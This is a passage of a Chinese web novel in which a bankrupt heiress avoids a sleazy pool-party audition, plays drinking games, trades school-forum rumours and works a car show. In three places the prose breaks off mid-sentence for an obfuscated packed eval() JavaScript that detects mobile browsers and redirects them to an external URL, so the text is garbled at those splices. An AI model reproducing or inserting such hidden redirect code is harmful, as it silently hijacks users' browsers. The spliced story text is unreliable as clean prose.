【几点回?】 程锁锈不太确定,但给自己设定了个最晚限度:【晚九点前。】 【OK】 * 放学了,程锁锈又在学校的图书馆坐了一会儿,百无聊赖地翻着书本,让旁人误以为她家破产后她开始攻克学术,但看时间差不多,她又干脆利落地起身拍屁股走人,留暗中观察的众人满脸问号。 打车到路芸发来的酒店,这高楼巍峨耸立,一片片玻璃板反射出一水儿的蓝光。 这家酒店看起来比较年轻化、定位高端但又管理不那么严格,与她之前住惯的品牌酒店不大一样。她直接进去乘电梯,转换到那面蓝玻璃内部,从内向外审视着繁忙的街景。 出27楼时已经有很多人在了,各种声音从宽阔大堂的四面八方传来,路姐在女更衣室门口向她招呼:“嘿,宝贝,来!” “这是?” “泳池派对,听说过没?但不是真叫你来参加派对的,主办方会通过泳池里女孩儿们的表现挑人。” 程锁锈脑子一转:“所以说,我需要在泳池里搔首弄姿给大老板看?” 路姐一愣:这姑娘这么上道吗? 话糙理不糙,可这话也太糙了,她面上有些挂不住,嘿嘿一笑:“也不至于这么说,随你怎么发挥嘛!反正目的你已经清楚,进去后大家各显神通啦。” 程锁锈想,我虽然清楚了目的,可不代表我想做啊!果然世道复杂,她还以为自己歪打正着地找到了赚钱的门路,这家公司在网上报出的薪酬格外高,她还以为是门槛高,原来里面的弯弯绕绕这么多。 路姐已经神神秘秘地把她拉到一扇小柜前,刷牌子打开:“衣服都是这儿给准备的,咱公司报了好几名女生,都已经换好泳衣进去,我给你留了几套好的,你快挑挑看。” 程锁锈心情复杂,心想你对我委以重任,我该说声“谢谢”么? 柜里的几套泳衣中有特别热辣的火龙果色比基尼,程锁锈用手拈起来欣赏后啧啧称奇,可惜在路姐灼热的目光下,她改拿起另一套黑色连体式的,路姐尴尬一笑:“好呀,这套好呀,这套穿上可太优雅了!里面女生穿的大多是花里胡哨比较暴露的,咱剑走偏锋,宝贝儿你真是聪明极了。” 程锁锈心里呵呵一笑,决定先进去看看怎么回事。 快走到泳池入口,便已听见里面莺莺燕燕的欢声笑语,真是梦回古代后宫佳丽三千啊,这不禁让她更好奇了。 掀起帘子,探进头一瞧,室内温度相当高,仿佛身处热带,一阵热浪迎面滚来。偌大空间内回荡着女孩子们嬉戏打闹的笑声,在水中扑腾的那些花花绿绿布料所草草遮盖的香艳肉.体让人叹为观止,程锁锈看呆了。 可在上一级一方单独的泳池内,几名身材变形的中年丑男正在享用漂浮晚餐,肥腻的肉在水中泡着,一双双黄豆大的鼠眼逡巡着下方艳景,目光在一片片春色间贪婪地流连,仿佛嘴里吃到的都没有眼里看到的香,于是食不知味,嘴上挂着满足的笑容。 程锁锈捂嘴干呕了一下,表达对这煞风景一幕的反胃,探出的半个身子倏然缩回。 “欸,欸?”路姐看着回来换衣服的她,“鹿洵你怎么了?” 还不太适应自己的花名,以为有人在叫陆巡,程锁锈愣了下,反应过来后继续快速套衣服:“哦那什么,路姐,我突然想起来我家的煤气阀忘关了,我必须得回去一趟。” “啊?” 路芸到底拦不住要走的程锁锈,看着她背影只能无奈地跺脚叹气,搞不明白她脑袋里到底装的什么东西。 不是说要赚钱吗?不是也懂行业里的规矩吗?怎么临门一脚又装起清高了?难道是觉得这局太low,想钓更大的老板?真是人越漂亮越难办。 * 程锁锈打车回陆巡家,到楼下了,想起他说他家今晚办party。她按亮手机屏幕一看,20:34,屋里的气氛估计正火热。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717624|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按照以往和陆巡在一起时的惯例,她基本能对派对的参加者倒背如流,首先肯定少不了那一对扈家兄妹,除此之外就没有南城国际的人了,都是外校的,读的也都是在南城比较出名的国际学校。 如此一来,那些人可能对她家破产的事有所听说,也可能没有听说,但都无所谓,不过是经常一起玩的人嘛,面上感情比较好,不像学校里的人总盯着她一瞬不瞬的,满脸八卦。 理顺好心态,她输密码打开陆巡家大门,屋内众人正在一百多平的露天阳台边坐着,听见有人进家门,目光一串串投来:“哟,锈锈!” “嗨——!” 程锁锈举双手打招呼,一如往昔,“好久不见啊,锈锈你又漂亮了!”一女生夸赞。 程锁锈大略一扫,八个人,都是老面孔,当然也包括扈家兄妹。 他们仍将她视为同陆巡一样的中心人物,热烈招呼,给她找杯子倒酒手忙脚乱,陆巡拍拍自己身边的位置,示意她坐,她对面女生兴高采烈地和她说:“我们在玩抽纸牌游戏,都喝得有点晕乎了,你来得正好!” “欸你刚才忙什么去啦?”给她倒酒的混血男问。 “我呀……”程锁锈拖拉着声,陆巡不着痕迹地看了她一眼,两张纸牌已经被塞进她手里,对面的女生说:“你可不能就这样和我们玩啊,不公平!先自罚三杯来!” 程锁锈笑眯眯喝了。 游戏继续。 “现在是轮到谁抽牌了呢?” 九人都坐好,几个人因这问题而看向该抽牌的人,程锁锈也因此得以正视自己斜对面那双怨妇般酸溜溜的大眼睛,扈嘉怡讪讪地笑了一下,举起手:“该我了。” 抽牌游戏的规则是:每个人手里有两张扑克,大家互不知道对方的牌,抽牌者从牌堆里抽出一张扑克,放至桌子中间,大家都能看到,将各自手中的两张牌与桌子上的那一张牌相加为每个人的数值,如果是【4、5、6】这样的连号组合大过任何单纯相加的数值,大连号大于小连号,三张同花色大于连号,三张同数字大于同花色,有小王大于同数字,大王大于小王。 每个人根据手中的牌型报几杯酒,只能报一杯、两杯或者三杯,抽牌者根据每个人报的杯数抽人,最少抽一人,上不封顶,然后比大小,抽牌者比抽到的人大,被抽到的人喝自己报的杯数;抽牌者比抽到的人小,抽牌者喝对方所报的杯数。大家顺时针轮换当抽牌者。 扈嘉怡从牌堆里摸出一张,放到中间,几人瞧过去是一张黑桃6。 程锁锈一看,三张同花色,手气不错,但还是比较低调地伸出一根手指:“一杯。” 除了有一人和她一样是一杯,其他人都是两杯或三杯,和她一样那人大概是牌真的不好,扈嘉怡看一圈,确实是一点心事都藏不住,程锁锈能非常明显地感觉出她就是冲自己来的:“那我保守点哦,开两个一杯的。” 两人亮牌,另一人的牌确实很差,愿赌服输,一口闷,脸又红一个度。 扈嘉怡看了看程锁锈的牌脸也红,拿起面前的酒杯分三次喝光,她哥在她身边吐槽:“还这么菜。” 扈嘉怡:“……” 旁边的人解围说:“哎呀小怡,你忘了之前我们在一起玩的时候吗?程锁锈她就爱隐藏实力钓鱼。” 程锁锈斜她一眼:“说话负责任哦,我洁身自好从不钓鱼哦。” 旁边的陆巡笑出来。 她又斜他一眼。 “怎么了?难道我这辈子不就你一个男人吗?” 5. 美人落魄 CSX or “是是是……” “哎哟你们两个,别这么肉麻了好不好?” 游戏继续,亮出牌的人将牌插回牌堆,重新洗牌,再摸牌,程锁锈看着手里的大王于心里惊叹,故技重施地一直叫一杯,果然再没有人敢开她了。 终于轮到她开别人,她说:“好吧,我承认我一直在隐藏实力,实不相瞒,我手里的牌很牛,所以我也饶你们一次,我开有勇气叫三杯的人!来开始叫吧!” 大家都“噗嗤”一声笑了,有的人很识时务地认怂,举手投降叫一杯,有的人调皮地叫两杯,被其他人提醒:“哎你小心啊,程锁锈使诈一会儿把我们全开了,别人只用喝一杯,而你得喝两杯。” 程锁锈看向陆巡,他很给面子地淡淡道:“一杯。” 这是表示对她实力的认可,她很满意。 只剩斜对面的扈嘉怡了,程锁锈看着这孩子就头大。她想这轮不会有人叫三杯,她就如刚才那人所说,把所有人都开了,可扈嘉怡很明显有她自己的考量。 她手里的牌似乎不错,盯了一会儿牌,又看看陆巡,再瞧瞧程锁锈,所有人都等着她的决断,她说:“三杯。” “全开。” 一张大王打在桌上,众人叫苦不迭,叫了两杯的人大喊:“我怎么就那么想不开那么贱呐!” 愿赌服输,一桌人都开始喝,程锁锈看着斜对面的扈嘉怡默默地丢出张小王。 同样的两张牌相对,却是一张鲜艳一张暗淡无光,她看着这可怜的丫头又灌下去三杯,脸都肉眼可见地浮肿了,她哥又在旁边嘲讽:“实在不行你上小孩桌玩吧?” 扈嘉怡欲哭无泪,陆巡对扈家邑说:“实在不行你替你家妹妹喝点吧?” 一句话很神奇地让扈嘉怡恢复容光:“没关系没关系,我没事的,继续继续。” 程锁锈哭笑不得,轮到她身边的陆巡开人。 程锁锈摸起牌来一看,很一般,但气势如虹地喊出个“三杯”,挑衅地看向陆巡。 最后又剩扈嘉怡。她在那儿犹豫不决,这样的眼神和刚才那想压程锁锈一头却又不好意思压太明显的眼神可很不一样。 好像终于把心思给捋顺明白,料定陆巡看出她方才狼狈,不会再抽她了,她成为场上除程锁锈外另一个叫“三杯”的人。 陆巡目光扫过紧张的众人。 最后定格在身旁的程锁锈身上:“就开你。” 其他人都松一口气。 他说:“不信你还没过新手保护期。” “哦——”程锁锈摊了牌,确实比陆巡小,自斟自饮着三杯下肚,“一会儿你走着瞧。” 几人笑:“哟哟哟,内斗了!” 扈嘉怡目的便达到了,仿佛受到了陆巡的袒护,非常开心。 这时大家都喝到半醉,听着陆巡家音响放着他的歌单,心情发飘,下一个游戏的内容是每人做一个动作,其他人模仿,如果模仿不来就自罚一杯。 到扈嘉怡了,在这高涨的情绪里她从沙发上施施然起身,扒开衣领,做了个露肩带的动作,嘻嘻一笑,程锁锈也被逗笑。 几个人吹口哨赞美她的勇气,除了她哥黑着脸,注意到这一点的程锁锈就更加想笑。 在场的女生都玩得开,纷纷效仿,包括程锁锈,男生们则自觉喝酒,扈家邑紧握着拳,又生他妹气又被他妹灌酒,看样子真恨不能立刻回家收拾他妹一顿。 轮到程锁锈,她亲了坐在她另一边的女生一口。 她特别聪明,坐陆巡另一边的是位男生,这么一圈亲回来是陆巡当众人面亲了她一口。 大家一笑了之,情侣间调情的小把戏罢了。 散场后三个人回去,四个人留在陆巡家过夜,包括扈家兄妹。 陆巡先进屋洗澡去了,他今晚真没少喝。这么说来他什么都挺行,唯独酒量一般。 扈家邑也进了客房,另外两人瘫在沙发上不省人事。客厅与阳台间的玻璃推拉门开着,程锁锈倚在门框边,若她抽烟的话那么这一刻她指间一定会夹着根烟。 客厅的音响在放外国摇滚乐,男歌手低沉磁性的嗓音充满攻击性。程锁锈头向外偏着,眸子与面庞的边缘被外面五光十色的城市灯火映着,任夏尾的风不断拂动她长发,像有心事的样子。 这一幕饶是扈嘉怡也看得有点呆,所以她走上前后声音都不自觉放温柔了些:“程锁锈,你家里真的破产了吗?” 她叫她“程锁锈”。 她以前都叫她“锈锈姐姐”。 “对啊。”程锁锈看她一眼,懒洋洋地说。 “啊……” 她那假装惊讶的样子很可笑,脑袋中权衡各种关系但表面又装作不太在意的样子很可笑,明明幸灾乐祸却又嫉妒她还是住进了陆巡家的样子也很可笑,程锁锈扭头看了会儿外面的风景,推上阳台的门:“早点休息吧。” “哦好。” 她懒得和这个小女孩多说。 就比如她该怎么告诉扈嘉怡,她所认为自己受到了陆巡的偏袒,实际是陆巡在维护她程锁锈在众人眼中的形象? 她来得晚,喝得少,哪怕自罚了三杯也不够,那时候就应该多喝几杯才能让大家觉得她豪爽有趣,局面公平。 要不然为什么所有人都喜欢以她和陆巡为中心。 两人一前一后地沿走廊往屋里走。 要到主卧的门前,程锁锈直接向上掀了T恤,侧对着她要开客卧门的扈嘉怡还是忍不住瞥过去。 光洁骨感的背,bra交错的细白带子,看程锁锈推开主卧的门,里面透出昏暗的光,隐隐传出陆巡在冲澡的水声,她脸红心又跳,飞速地推开自己面前的门进去了。 程锁锈晚上也没和陆巡干什么。 只是陆巡仰面躺着,她趴在他身上睡着,脸贴在他心口,这个人摞人的姿势非常神奇。 窗子开个缝,风有一搭没一搭地拂过她从被子里露出的肩颈,很舒服。 刚刚结束的游戏和身下陆巡的身体都让她有种还活在过去的错觉,那时候哪怕是逗扈嘉怡玩她也觉得很有趣,陆巡也是。可现在太割裂了,这些人谁能想到,她在进这家门前是从什么样的地方过来的。 她以为她是去做模特,但好像不小心掉进了鸡窝。 她和曾经一起玩的这些人,总归是不太一样了。 * 第二天早上在学校,程锁锈收到路芸的微信语音:“鹿鹿啊,虽然昨天晚上你不算真正参加了面试,但你很幸运,负责人还是注意到了你!于是决定也把你安排进周末的车展!怎么样,宝贝,你真是太幸运了,而且我就知道你出类拔萃,绝对不会埋没在普通人中。” 啊? 程锁锈嘴巴轻轻张开,被震撼了。 还是要去当车模,真不知该喜该忧。 经过了昨晚那一遭惊吓,她都有点想和这公司割席了,庆幸自己没签什么乱七八糟的合同。 经过一番思索,她目的明确:【酬劳呢?】 【5k.】 【哦好。】 “宝贝儿你去打听打听,哪怕是南城也很少有这么高的车模日薪,主要还是咱公司资源好,你们也个个都是一顶一的大美人儿,一分价钱一分货。” “哦不,这话似乎不是很妥帖?姐没文化,反正就是这么个意思,宝贝你理解就好。” 程锁锈又惊讶得张了张嘴巴。 她一直觉得路芸有哪里不对劲,但就是说不上来。现在她忽然明白了,是因为路芸她一身老鸨味儿。 最近在网上刷多了其他兼职,这车展的日结薪资还是太诱人,程锁锈决定去试试,难不成她意志坚定他们还能逼良为娼吗? 这天中午,她没去吃饭,坐在学校后花园的理石台子上啃苹果,另一只手在手机上刷求职平台上的招聘信息,并听身旁一位跟过来的不知名男同学做自我介绍。 他介绍了自己的姓名、年龄、出生日期、星座、血型及非常详细的父母工作、家庭资产等信息,哪怕是一栋坐落于十八线海滨城市的小别墅、一艘停泊在英国某港湾的小游艇也没放过,最后非常诚恳地说:“程同学,我知道你的家庭发生了变故,我听说这件事时感到很抱歉,但我从高一见到你时就开始仰慕你,我现在成绩名列级部前五十,目标是哈弗大学,毕业后大概率会接手家里的制药产业,我的最大心愿就是提供给你同以往一样的优越生活,所以请你考虑和我交往吧!” 程锁锈目光还在【传媒公司-招兼职主播-底薪4k+提成】、【乙女游戏公司-招运营-月薪1w起】等信息条上流连,叹了口气:“可是让我考虑的人太多了,我不想过那么没意思的生活。” 对方愣了愣:“那你的人生追求和梦想是什么?” “希望你不要误会,我并没有捆绑你做全职太太的意思,我一定全力支持你的事业。” 程锁锈抬起头想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717625|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想,天清亮亮的,她的人生追求和梦想也不过是:天天睡陆巡,当大明星。 咬一口苹果,继续刷兼职信息:“反正我不想完全靠某个人来支持我。” “噢……” 对方看着她手机屏幕上的内容,有些诧异,曾经众星捧月的女神在穷困潦倒后竟生出了极强的自尊心,可他看着程锁锈手机上飞快闪过的薪资数额:【1w】、【8k】、【底薪6k+提成】……这辛辛苦苦地干一年能够她买个包吗? 他叹了口气,像是料定到某种结局:“那我们加个联系方式吧,程同学?我扫你。” 程锁锈并不犹豫,亮出自己的微信二维码,通过了对方的好友申请,对方发来其大名供她备注,离开,她将聊天对话框截图后发给陆巡:【第六个。】 这是她和陆巡在一起后的习惯。 从前哪怕两人在一起的事全校皆知,也挡不住两人的追求者从四面八方来,甚至卑微地说出“我不求和你在一起,只要加个微信好友,让我安安静静地躺在你微信列表里我便心满意足了”。 两人于是开始相互截图报备。 陆巡这会儿发来评价,当然是开玩笑的:【真会钓。】 【你滚啊!】 周二三个,昨天两个,自程锁锈前天上学以来,向她表白的男生加她微信的频率比上学期还高,或许是认为有机可乘。他们都向程锁锈表示,不在意她的家庭,愿意在美人落魄时出手相助。 所以昨天晚上说到“钓鱼”,陆巡笑她,她气个半死,现在疯狂敲手机键盘回击:【这是我在钓吗?人家姜太公钓鱼还知道整个树枝,我整什么了?我只是往河边一坐,鱼就前赴后继地往岸上蹦!】 【好牛逼啊程太公!你好骄傲。】 【……】 下午新加程锁锈的男生在微信上给她分享了一条链接,是学校论坛里的一篇帖子:【保真大瓜!CSX被包养了,不信可查!】 学校里的人顶着各自的ID回复:【啥?怎么查?】 【楼主这么信誓旦旦,看来是真的?】 【楼主呢?怎么开个帖子就消失了,上证据?】 【楼主要是有证据还让我们查?】 【我就觉得这位曾经大名鼎鼎的queenbee回来后非常奇怪,一副家里破产却十分cool甚至有点不care我们的意思……原来是有了十分special的后台。】 【OMG楼上你讲话好mean!我们可以不要中English掺杂吗?虽然是国际学校,但这样真的好low……】 【关你屁事。】 【没错没错,有一次她一个人吃午饭,我的朋友看见她在对手机发笑。】 【传说中的“我有一个朋友”?】 【[举手]我也有一个朋友,有一次放学看到她在图书馆里坐了一会儿才走,明显是在等什么时间,估计是放学后约了人。】 【可是这些能说明什么呢?】 【是啊,铁证呢?光这样说有什么意思?】 【可是楼主说让我们查,自己真是一点力都不出啊。】 …… 给程锁锈分享帖子的男生说:【我清楚你不是这样的人。】 【哦——】 程锁锈满脑子问号,所以呢? 她平时根本不看学校论坛,因为看了就会发现——纯纯的浪费时间。 每个账号在第一次登录论坛时起的ID是不可更改的,发帖回帖也不可匿名,所以为不掉马,大家都很珍惜自己的账号,在论坛里说起话来扑朔迷离,很多人都喜欢点进某ID主页,根据动态玩猜测对方是谁的游戏。 发这个帖子的ID很神秘,可这帖子的标题如此笃定,不免让程锁锈好奇,造谣也得有点根据吧?对方甚至鼓动大家去查。 如果真有人发现了她现在住处——陆巡那连停车场都同商场般璀璨生辉的小区,不一定查出陆巡,倒真可能坐实了她被包养的说法。 程锁锈点进发帖者的主页,看见对方最早在论坛活动的时间为去年九月,也就是说,这人现在上高二? 她本不想搭理论坛里的这些烂事,成天研究别人有什么意思?可这个发帖者的信息、帖子的标题、发帖的时间都让她觉得微妙,她于是短暂思考了一下,用她的ID第一次在学校论坛里发帖:【你们知道吗?HJY兄妹是真骨科!】 一刷新就有人跟帖:【卧槽?】 6. 单打独斗 【真的假的?】 【帖主是谁?这么神秘?在论坛上从未活跃过?有什么证据吗?】 【其实我早就开始偷偷地嗑他俩了……】 【可是小HJY暗恋LX是人尽皆知的事啊!】 【别管了,我就觉得他们俩不对劲,我有个朋友有一次看见他们……】 …… 相比于成天看腻了的程锁锈相关,从程锁锈进入南城国际的第一天开始:【你们见到咱学校的新人CSX了吗?该是当之无愧的校花了吧?得蝉联三年。】 那时还有人摸不着头脑:【CSX是谁?好难解码。】【不会是我今天一眼看到的那位吧……虽然新来的一批学生里有很多漂亮MM,但有一个明显不像在同一图层。】 后来“CSX”这三个字母几乎每天刷屏:【今天在餐厅吃饭坐CSX隔壁桌,长得好牛逼!】【扒一扒CSX家到底有多富?】【CSX和LX好配……可我是唯粉怎么办?感觉女王大人的风头都被抢一半,还是怀念高一时她单打独斗的样子。】【CSX以后也不来上学了吗?】…… 所以相比于千篇一律的“CSX”,突然蹦出的扈家兄妹的大瓜显然更抓人眼球。 不过一个小时,就有人跟帖发布了3000余字的扈家兄妹骨科同人文,底下一片叫好,说【爱看多更】。 更过分的是:【有车吗?】 晚上程锁锈和陆巡躺在床上,相安无事,她在用平板玩《飞机大厨》,那款相当风靡的模拟当空姐的游戏,放在身旁的手机忽然响。 陆巡眼也不斜:“鱼?” 程锁锈不急于否认:“哇你好酸。” 为证明清白,她没看清来电者便手指一划,接通电话,顺带按免提,脑袋才反应过来刚才显示的名字是谁,扈家邑的声音已然从手机中传出:“喂?锈锈?” “欸……” 陆巡目光终于落过来。 这感觉,怎么好像是和他兄弟偷情被抓包? 虽然程锁锈和扈家邑有彼此的电话号码,但他们几乎不单独联系,而程锁锈好像知道扈家邑这通电话是所为何事了,右眼皮一跳,扈家邑继续说:“锈锈啊,我已经把我妹给教育了一顿,她知道错了,学校论坛上的帖子也删了,你应该知道是哪篇吧?她说她会给你挑一套你喜欢的乐高,下次去陆巡家时带去,再当面和你道个歉。” 陆巡莫名其妙地看着程锁锈,不知道他们之间发生了什么。 “啊,好……道歉就不用了。”程锁锈慢悠悠地说,“我也会删帖。” “嗯……不好意思。” “……没事。” 电话挂了。 尴尬的气氛让人窒息。 “你发了什么帖子?”陆巡倒感兴趣。 他接过程锁锈递来的手机,程锁锈在一旁托着脸看他。 于是他们重逢以来,程锁锈第一次见他笑得如此发自内心,仿佛在他们没有分手之前,仿佛在一个很平常的夜晚,他看过她分享的什么特别奇葩的见闻。 他手指不断往下划,点评道:“这人的故事写得不错,就是人物和真人不太贴,尤其是扈家邑,可能是因为作者跟本人不太熟。” “谁能和他熟?他一直隔三差五不上学。” 陆巡笑。 “好了,别研究了,赶紧把帖子删了吧,正主正等着。” 程锁锈拿回手机,回到帖子顶部,点击标题下方的小垃圾桶图标,弹出提示框:【确认删除?】 选择【确认】。 “扈嘉怡发了什么帖子?” 程锁锈翻个白眼:“说我被包养了,还鼓动大家去查。” “呵……” 陆巡想了想,又给扈家邑打去个电话,给程锁锈这事做了个完美的善后工作:“喂?家邑,我家有个公司最近要请明星做代言,小怡不是特喜欢陈崇明吗?多半能谈下来,到时候和对方商量一下,拍摄时带着小怡去拍合照吧。” “哦,好。” 两个人沉默一会儿,都笑了。 “和小怡说,对锈锈姐姐好点,锈锈姐姐以后说不定要进娱乐圈,到时候她想要陈崇明多少张签名多少张合照都行。” “好。” 没多久,南城国际中学的论坛里冒出个帖子:【到底是谁发的HJY兄妹是真骨科的帖子???】 【是啊,怎么突然删了?】 【CSX被包养的那篇也没了。】 【难道说……是同一个人用两个账号爆出了两个大瓜,同时惹到CSX与HJY,惨遭人身威胁,害怕得自己删帖了?】 楼越盖越高,有人关心帖主:【那个发帖人怎么了?让帖主这么抓狂?】 帖主似乎对有人能抓住重点而感到非常欣慰:【我写的HJY兄妹的骨科文没保存,已发表连带在帖子里正编辑的总共5000多字全没了!!!】 【啊,这么惨……】 【节哀……】 【文坛巨星的陨落啊。】 帖主道:【天杀的!我早晚揪出来这个发帖的人是谁!!!】 程锁锈依旧在陆巡身边玩游戏,突然捂住脸打了个喷嚏。 * 周六程锁锈五点醒来,飞速关掉枕边正轻轻震动的手机闹钟。 回头看陆巡一眼,他还睡着。 松一口气,因为没告诉他自己要去做车模而感到心虚。她蹑手蹑脚地收拾,不确定中途是否将陆巡给吵醒过,以他那性子,以及他们两人现在的关系,他即使察觉了也不会问她,然后她就这么偷偷摸摸地出了门。 在小区外的便利店买了酸奶和面包,打车前往会场,路芸也起得早,给她发语音:“鹿鹿,你出发了吧?能准点到吧?” 【能的路姐。】 自见识了这次车展的面试方式后,程锁锈就觉得自己太天真,这样看似简单又来钱快的法子根本就是陷阱,现在路芸通知她仍可以去车展也像陷阱,但那一刻她突然好奇了,想看看他们葫芦里卖的什么药,这5000块钱她到底能不能拿到手。 咬着酸奶的吸管,一路堵车,她便巴巴地望着外面通行的车辆与往来的人群。 竟然还有夹着公文包去上班的,她平时根本不会看到这样匆忙的街景。 她都是坐着舒服的保姆车,两耳不闻窗外事,进高端商场,进品牌酒店,进网红酒吧,奔赴机场……现在她一出陆巡的小区就觉得坠入了另一个世界。 一个很真实的,很残酷的,很冰冷的,很弱肉强食的,很危机四伏的世界。 可是她刷了这么多天求职平台,其他兼职几乎要占用她全部课余时间,甚至还不够,她又哪有精力去学表演,直接与初衷背道而驰,何况迟早要被陆巡给发现。 这时她就想,不如直接和陆巡摊牌,说明她未来的规划——先往演艺圈这条道上努力,让他资助自己学表演,虽然结果难料,以后就算成不了名,她哪怕当网红也会把钱赚回来还给他。 不然呢?不该还吗? 说白了,她家现在成这个样子,她和陆巡已经没有未来可谈了,她有自知之明。 每次回到陆巡家,在他的身边,仿若无事发生,可她知道她身后已经空空荡荡,她再也没有了这年春天时从不担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717626|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心身边有他或是无他的底气,现在有他或是无他都会对她的生活、未来造成翻天覆地的影响,所以她不敢面对这个问题,不敢去和陆巡谈,就好比如果这是一场梦,她希望这段虚浮的日子能再长一些,长那么一些。 到了喧哗的会场,又是路芸在门口接她,带她去化妆间,将她按到椅子上说:“我再去门口迎迎其他姑娘。”程锁锈便坐在妆台前任人摆布了。 镜子边一圈强烈的白色灯光射出,照出一张无懈可击的脸。 化妆师下手前都不免犹豫,侧过头,在这强光中看了又看,有一种自己终于熬出头、在给某位明星化妆的错觉,只是旁边其他化妆师与模特的嘈杂声将她拉回现实。 程锁锈闭了会儿眼,再睁眼后看着镜中的自己皱眉:“这是熊猫妆?” “咳咳,烟熏妆。” 化妆师说罢摆弄着桌上的工具,程锁锈能看出她十分亏心。 在对方选出一根色号超级死亡的口红后,她问:“能换一支吗?或者我能不能自己改妆?” 化妆师抿了抿唇:“姑娘,真不是我审美不好或水平不行,只是不同的展台有不同的要求。你在D区,新概念车型展台,就得要这个风格,我们化妆师也是受委托办事。” 程锁锈往椅背上一靠,不说话了。 造型师又给她做了个贴头皮的盘发造型,发了套很有年代感、没有任何可圈可点之处的黑色浅V长裙,程锁锈觉得自己奶奶见了都会嫌土。 被指引到D区的新概念车型展台,这地方在顶楼不说,说是在犄角旮旯处也不为过,真不知道前来观展的人是要多闲,才能弯弯绕绕地找到这儿来。 这里展示的也不是主流车型,而像每家公司天马行空研发出来后又淘汰掉的产物,十分诡异,但被美化地打上什么“未来趋势”、“颠覆时代”的标签。 与程锁锈共事的另三位车模显然也不受主办方待见,妆面与服装的质感都一般,不知道为什么被选中又被打发到这里。 可程锁锈来时看过其他展台,都被设计得细致考究,站在那些灯光下,造型精致的车模就如同站在滤镜中的仙女,她们则如同在拍摄外星人入侵的影片。 她在被定妆后就明白了,是她面试时一身反骨,可主办方和路芸都看重她条件,不舍得让她这条要上钩的鱼跑掉,于是在整她,让她心里不平衡呢。 若她是个涉世未深、心智不成熟的小女孩,说不定真会掉入这心理陷阱,不甘心自己不受待见,低明明外形不如自己的人一等,也为了更多报酬,便会想要不择手段地往上爬。 而这个不择手段往上爬的过程,就是他们想要的。 来这展台的人果然少,看到这些“奇形怪状”的车后有讶异,有惊奇,有鄙夷,有嫌弃……很少很少有那么两三个人会觉得有趣,拍几张照片,而他们扫过程锁锈身上的目光都非常平淡,甚至还带着看这些车时流露出的不解和不屑。 程锁锈这辈子都没见过什么人这样看自己。 中午吃饭时,要到展板隔开的后台去吃盒饭。 结果展台的两名负责人占据了唯一的一张白色塑料圆桌,且在那儿旁若无人地抽烟,程锁锈和其他三名女生只好到一边去,贴墙站,端着塑料盒吃饭。 这一刻程锁锈十分暴躁,想摔盒走人,又舍不得已经豁出去的一上午付出。 手机响了,油硬的白米饭、没有油水的土豆丝、骨头上硬到几乎咬不动的肉似乎是盒饭标配,她吃不下,将盒子放一旁,走到远处没人的地方去接电话。 低头一看,来电者竟是她曾经那位以分钟计费的表演课老师。 7. 选择 KTV or 现在的她已经没有能力支付课费了。 所以接起电话后有些泄气:“喂?张老师?” “快两个周了,之前说去三亚玩,怎么还没有回来继续上课呀?”四十岁出头的女人含笑。 张椿意这个人非常好,很母性。程锁锈叹了口气,还是一五十五地和她说明了自己家里的变故:“抱歉啊张老师,这条路我不会放弃,但可能暂时没有缘分上您的课了,以后要是有机会再向您求教。” “噢……” 通话中一阵短暂的空白,程锁锈觉得就这样了,对方欲言又止,她于是静候下文,女人很温柔的声音传来:“锁锈啊,你觉得当初我愿意收你这样的小白学生,是因为你家里特别有钱吗?” 程锁锈回答不上。 “来找我的有钱人家的孩子特别多,但我不是为了钱才授课的。就像不是所有来找我的明星我都伺候,有的人一看就心不诚,只是演技不够、接了个什么新戏、压力太大来图个心理安慰罢了,沉不下心,或者用我的名声去镀个金。” “所以我是觉得你漂亮,比我见过的很多明星都漂亮,你眼里又有想要认真做这件事的光,还这么年轻,锈锈……” 程锁锈被说得心里发酸,张椿意说:“不如这样,课费先不计,我照常教你,一周两节课,每节课三小时,还跟以前一样。因为凭我的眼光和多年经验,你未来不难在演艺圈中有所成就,到时候再想想怎么来报答我不迟,就当是我做了笔长期投资。” 程锁锈咬着牙。 她不是小白花,第一反应当然不是天上掉了张真馅饼。 如张椿意所说,她绝没有那么闲,因为惜才便会尽心尽力地去帮助谁、提携谁。说什么“到时候再想想怎么来报答我”,不过是减轻她程锁锈心理负担的话术罢了;既然不在意钱,张椿意又要她报答什么呢?有什么可报答的? 程锁锈挂了电话,知道是谁让张椿意对自己说的这番话。 除了陆巡还有谁? 其中几句明明就是他口吻,借张椿意之口说出来的时候,他的声音与语气甚至在程锁锈的脑中同步响。 应该是陆巡为她支付了课费。 OK,那她算是明白她这位前男友的心意了。 